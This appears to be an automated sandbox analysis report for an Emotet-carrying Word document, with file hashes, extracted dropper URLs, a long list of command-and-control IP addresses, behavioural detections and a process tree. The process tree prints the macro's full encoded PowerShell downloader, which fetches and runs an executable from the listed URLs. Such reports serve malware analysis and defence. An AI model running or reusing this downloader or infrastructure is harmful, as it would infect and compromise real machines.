Analysis
- max time kernel
94s - max time network
143s - platform
windows10_x64 - resource
win10v200722 - submitted
16/09/2020, 21:10
Static task
static1
Behavioral task
behavioral1
Sample
FILE-20200917.doc
Resource
win7
General
- Target FILE-20200917.doc
- Size 172KB
- Sample200916-596wdntp5a
- SHA256 65a375716183e1cd6f4dcefb005efb7a89b1be9c1012ee9d0505c03a56bde12c
- MD5 63187d5e4acbbe1bfc9d441b8c73a805
- SHA1 e466dca7dd97386db0746b2c7d21a40c3c53670d
- SHA512 a5395a2adde62eb9d3f397cc8cbeb1ffee7504a7773720b2ab07f468587f57ad247eb1de888899a28e18e330fa083be9ee15d8710da40cc51aafbaebae643b24
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
http://smartfarmsky.com/kdxhp/K/
-
exe.dropper
https://theonesmartpiano.com/wp-admin/css/colors/modern/W/
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exe.dropper
https://www.breedenandsilver.com/wp-content/W3/
-
exe.dropper
https://blog.workshots.net/bibqcr9/GSB/
-
exe.dropper
https://lggpm.live/cgi-bin/Yq/
-
exe.dropper
https://sodalite.life/wp-content/uploads/Fl/
-
exe.dropper
https://classroom.live/wp-content/OlY/
Extracted
-
emotet
-
174.113.69.136:80
-
51.38.124.206:80
-
82.196.15.205:8080
-
38.88.126.202:8080
-
190.115.18.139:8080
-
98.13.75.196:80
-
181.30.61.163:443
-
82.76.111.249:443
-
181.129.96.162:8080
-
74.58.215.226:80
-
68.69.155.181:80
-
188.135.15.49:80
-
190.163.31.26:80
-
50.121.220.50:80
-
51.159.23.217:443
-
2.47.112.152:80
-
185.215.227.107:443
-
217.13.106.14:8080
-
70.32.115.157:8080
-
170.81.48.2:80
-
73.213.208.163:80
-
5.196.35.138:7080
-
190.24.243.186:80
-
192.241.143.52:8080
-
185.183.16.47:80
-
184.66.18.83:80
-
187.162.248.237:80
-
220.109.145.69:80
-
51.255.165.160:8080
-
82.230.1.24:80
-
94.176.234.118:443
-
104.131.103.37:8080
-
50.28.51.143:8080
-
12.162.84.2:8080
-
74.136.144.133:80
-
77.90.136.129:8080
-
68.183.190.199:8080
-
96.245.123.149:80
-
177.74.228.34:80
-
213.197.182.158:8080
-
45.46.37.97:80
-
110.142.219.51:80
-
192.241.146.84:8080
-
189.2.177.210:443
-
177.73.0.98:443
-
61.197.92.216:80
-
185.178.10.77:80
-
212.71.237.140:8080
-
65.36.62.20:80
-
190.195.129.227:8090
-
217.199.160.224:7080
-
138.97.60.141:7080
-
155.186.0.121:80
-
204.225.249.100:7080
-
92.24.50.153:80
-
83.169.21.32:7080
-
190.6.193.152:8080
-
219.92.13.25:80
-
186.103.141.250:443
-
80.11.164.185:80
-
45.16.226.117:443
-
67.247.242.247:80
-
190.2.31.172:80
-
77.238.212.227:80
-
64.201.88.132:80
-
185.94.252.27:443
-
199.203.62.165:80
-
190.147.137.153:443
-
111.67.77.202:8080
-
172.104.169.32:8080
-
5.189.178.202:8080
-
190.190.148.27:8080
-
191.182.6.118:80
-
45.161.242.102:80
-
70.32.84.74:8080
-
45.33.77.42:8080
-
72.47.248.48:7080
-
114.158.45.53:80
-
209.236.123.42:8080
-
137.74.106.111:7080
-
54.37.42.48:8080
-
95.9.180.128:80
-
96.227.52.8:443
-
152.169.22.67:80
-
104.131.41.185:8080
-
77.106.157.34:8080
-
111.67.12.221:8080
-
61.92.159.208:8080
-
178.250.54.208:8080
-
68.183.170.114:8080
-
78.249.119.122:80
-
186.70.127.199:8090
-
216.47.196.104:80
-
185.94.252.12:80
-
87.106.46.107:8080
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3252 696 powershell.exe 73 - Emotet Payload 8 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/2136-15-0x0000000000700000-0x0000000000712000-memory.dmp emotet behavioral2/memory/2136-15-0x0000000000700000-0x0000000000712000-memory.dmp emotet behavioral2/memory/2136-16-0x0000000000720000-0x0000000000730000-memory.dmp emotet behavioral2/memory/2136-16-0x0000000000720000-0x0000000000730000-memory.dmp emotet behavioral2/memory/860-19-0x0000000000640000-0x0000000000652000-memory.dmp emotet behavioral2/memory/860-19-0x0000000000640000-0x0000000000652000-memory.dmp emotet behavioral2/memory/860-20-0x0000000000660000-0x0000000000670000-memory.dmp emotet behavioral2/memory/860-20-0x0000000000660000-0x0000000000670000-memory.dmp emotet - Blacklisted process makes network request 1 IoCs
flow pid Process 32 3252 powershell.exe - Executes dropped EXE 2 IoCs
pid Process 2136 G4z2l_n.exe 860 audiodev.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\CertPKICmdlet\audiodev.exe G4z2l_n.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 512 WINWORD.EXE 512 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 3252 powershell.exe 3252 powershell.exe 3252 powershell.exe 860 audiodev.exe 860 audiodev.exe 860 audiodev.exe 860 audiodev.exe 860 audiodev.exe 860 audiodev.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3252 powershell.exe - Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 512 WINWORD.EXE 512 WINWORD.EXE 512 WINWORD.EXE 512 WINWORD.EXE 512 WINWORD.EXE 512 WINWORD.EXE 512 WINWORD.EXE 512 WINWORD.EXE 512 WINWORD.EXE 2136 G4z2l_n.exe 2136 G4z2l_n.exe 860 audiodev.exe 860 audiodev.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3252 wrote to memory of 2136 3252 powershell.exe 81 PID 3252 wrote to memory of 2136 3252 powershell.exe 81 PID 3252 wrote to memory of 2136 3252 powershell.exe 81 PID 2136 wrote to memory of 860 2136 G4z2l_n.exe 82 PID 2136 wrote to memory of 860 2136 G4z2l_n.exe 82 PID 2136 wrote to memory of 860 2136 G4z2l_n.exe 82
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\FILE-20200917.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:512
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -encod JABaAHEAcQBwADkANwBoAD0AKAAoACcAVQB2AF8AMQBpACcAKwAnAHIAJwApACsAJwBpACcAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAGUATgBWADoAdQBTAEUAUgBwAFIATwBGAGkATABlAFwAbgB5AGwANAByAFQAVwBcAG8ATgBLAEcAbwBNAFYAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAHIARQBjAHQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBjAGAAVQByAGkAVAB5AFAAcgBPAFQATwBjAGAAbwBsACIAIAA9ACAAKAAnAHQAbAAnACsAKAAnAHMAMQAyACcAKwAnACwAJwApACsAKAAnACAAdAAnACsAJwBsAHMAJwApACsAKAAnADEAJwArACcAMQAsACAAdABsAHMAJwApACkAOwAkAFQAeQB2AHMANAByAGcAIAA9ACAAKAAoACcARwA0ACcAKwAnAHoAMgBsAF8AJwApACsAJwBuACcAKQA7ACQAWgA5AGQANgAwADAAZgA9ACgAKAAnAEMAdwB0AG0AJwArACcAYQAnACkAKwAnADMAJwArACcAOQAnACkAOwAkAEsAdwB1AHkAaABpAGYAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwA0AHkAWgAnACsAJwBOACcAKQArACcAeQAnACsAJwBsACcAKwAoACcANAByAHQAdwA0ACcAKwAnAHkAWgAnACsAJwBPACcAKQArACcAbgAnACsAKAAnAGsAJwArACcAZwBvAG0AdgA0AHkAJwArACcAWgAnACkAKQAuACIAUgBlAFAAYABsAEEAYABjAEUAIgAoACgAWwBjAGgAQQByAF0ANQAyACsAWwBjAGgAQQByAF0AMQAyADEAKwBbAGMAaABBAHIAXQA5ADAAKQAsACcAXAAnACkAKQArACQAVAB5AHYAcwA0AHIAZwArACgAJwAuACcAKwAoACcAZQB4ACcAKwAnAGUAJwApACkAOwAkAEwANgBfADcAdAA3AG8APQAoACgAJwBEAGEAMAAnACsAJwB2ACcAKQArACcAeAAnACsAJwA1AHoAJwApADsAJABQADMAawA2AGEAcgB0AD0AJgAoACcAbgBlAHcALQBvACcAKwAnAGIAJwArACcAagBlAGMAJwArACcAdAAnACkAIABuAGUAdAAuAFcARQBCAGMATABJAGUATgBUADsAJABTADkAZQAyAG8ANQAwAD0AKAAoACcAaAB0AHQAcAAnACsAJwA6ACcAKQArACcALwAvACcAKwAoACcAcwAnACsAJwBtAGEAcgB0ACcAKwAnAGYAYQAnACkAKwAoACcAcgBtAHMAawB5AC4AYwAnACsAJwBvAG0AJwArACcALwBrAGQAeABoACcAKQArACgAJwBwAC8ASwAvACcAKwAnACoAaAB0ACcAKQArACgAJwB0AHAAJwArACcAcwA6AC8ALwB0AGgAJwArACcAZQBvAG4AJwArACcAZQBzAG0AYQAnACsAJwByACcAKwAnAHQAJwApACsAJwBwACcAKwAoACcAaQBhAG4AJwArACcAbwAuAGMAJwApACsAKAAnAG8AJwArACcAbQAvACcAKQArACgAJwB3AHAALQAnACsAJwBhAGQAbQBpACcAKwAnAG4AJwArACcALwBjAHMAcwAnACkAKwAoACcALwAnACsAJwBjACcAKwAnAG8AbABvAHIAcwAvAG0AJwApACsAKAAnAG8AZAAnACsAJwBlAHIAJwApACsAJwBuAC8AJwArACgAJwBXACcAKwAnAC8AKgBoAHQAJwApACsAJwB0ACcAKwAnAHAAcwAnACsAKAAnADoALwAnACsAJwAvAHcAJwApACsAKAAnAHcAdwAnACsAJwAuAGIAcgAnACkAKwAnAGUAJwArACgAJwBlACcAKwAnAGQAZQAnACkAKwAoACcAbgBhACcAKwAnAG4AJwApACsAKAAnAGQAcwAnACsAJwBpAGwAdgBlACcAKQArACgAJwByAC4AJwArACcAYwAnACkAKwAnAG8AbQAnACsAKAAnAC8AdwBwAC0AYwBvAG4AdABlACcAKwAnAG4AdAAvACcAKwAnAFcAJwApACsAKAAnADMAJwArACcALwAqAGgAJwApACsAJwB0AHQAJwArACgAJwBwAHMAJwArACcAOgAnACkAKwAoACcALwAvACcAKwAnAGIAbABvAGcALgAnACsAJwB3AG8AcgBrACcAKwAnAHMAaABvAHQAcwAnACsAJwAuAG4AZQB0AC8AJwArACcAYgBpACcAKQArACcAYgAnACsAKAAnAHEAYwByACcAKwAnADkALwAnACsAJwBHACcAKQArACgAJwBTACcAKwAnAEIALwAqAGgAJwApACsAKAAnAHQAJwArACcAdABwACcAKQArACcAcwA6ACcAKwAoACcALwAvACcAKwAnAGwAZwAnACkAKwAoACcAZwBwAG0ALgAnACsAJwBsAGkAJwArACcAdgBlAC8AJwApACsAKAAnAGMAJwArACcAZwBpAC0AYgBpACcAKQArACgAJwBuACcAKwAnAC8AWQBxACcAKQArACcALwAnACsAKAAnACoAJwArACcAaAB0AHQAJwApACsAJwBwACcAKwAnAHMAJwArACcAOgAnACsAKAAnAC8ALwBzAG8AZAAnACsAJwBhAGwAJwApACsAKAAnAGkAdAAnACsAJwBlAC4AbABpACcAKQArACgAJwBmAGUAJwArACcALwB3ACcAKQArACgAJwBwAC0AYwAnACsAJwBvAG4AdAAnACkAKwAoACcAZQBuAHQAJwArACcALwAnACkAKwAoACcAdQAnACsAJwBwAGwAJwApACsAKAAnAG8AJwArACcAYQBkACcAKQArACcAcwAvACcAKwAnAEYAbAAnACsAKAAnAC8AKgBoACcAKwAnAHQAJwApACsAJwB0ACcAKwAoACcAcABzADoALwAvACcAKwAnAGMAbABhAHMAcwAnACsAJwByAG8AJwArACcAbwAnACkAKwAoACcAbQAuAGwAJwArACcAaQAnACkAKwAoACcAdgAnACsAJwBlAC8AJwApACsAJwB3ACcAKwAnAHAAJwArACcALQBjACcAKwAoACcAbwAnACsAJwBuAHQAZQAnACkAKwAoACcAbgAnACsAJwB0AC8ATwAnACkAKwAoACcAbAAnACsAJwBZAC8AJwApACkALgAiAFMAYABwAGwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAQwB2AHAAXwAzAG0AdAA9ACgAKAAnAEsAJwArACcAdQB4ACcAKQArACcAeAA5ACcAKwAnADcAagAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABUAHAAeQBoAG8AeAAzACAAaQBuACAAJABTADkAZQAyAG8ANQAwACkAewB0AHIAeQB7ACQAUAAzAGsANgBhAHIAdAAuACIARABgAE8AdwBuAGAAbABgAG8AQQBEAGYASQBsAEUAIgAoACQAVABwAHkAaABvAHgAMwAsACAAJABLAHcAdQB5AGgAaQBmACkAOwAkAFcAYgBrAHEAXwByAG0APQAoACcATwAnACsAJwBhACcAKwAoACcAegA5ACcAKwAnAF8AdgAzACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEsAdwB1AHkAaABpAGYAKQAuACIATABgAGUAbgBHAFQAaAAiACAALQBnAGUAIAAyADUAMwAxADcAKQAgAHsALgAoACcASQBuAHYAJwArACcAbwAnACsAJwBrAGUALQBJAHQAZQBtACcAKQAoACQASwB3AHUAeQBoAGkAZgApADsAJABOAGoAcQBtADAANgBlAD0AKAAoACcARQAnACsAJwByADAAJwApACsAJwBpACcAKwAoACcAMwAnACsAJwBmAGoAJwApACkAOwBiAHIAZQBhAGsAOwAkAE0AMQB3AHQAaQBfAHcAPQAoACcASAAnACsAKAAnAHAAMwB4AHYAJwArACcANgA2ACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABKAHoAcAB4ADQAZgA4AD0AKAAnAEUAZQAnACsAKAAnADYAJwArACcAXwBuADgAJwApACsAJwA0ACcAKQA=1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3252 -
C:\Users\Admin\Nyl4rtw\Onkgomv\G4z2l_n.exe"C:\Users\Admin\Nyl4rtw\Onkgomv\G4z2l_n.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2136 -
C:\Windows\SysWOW64\CertPKICmdlet\audiodev.exe"C:\Windows\SysWOW64\CertPKICmdlet\audiodev.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:860
-
-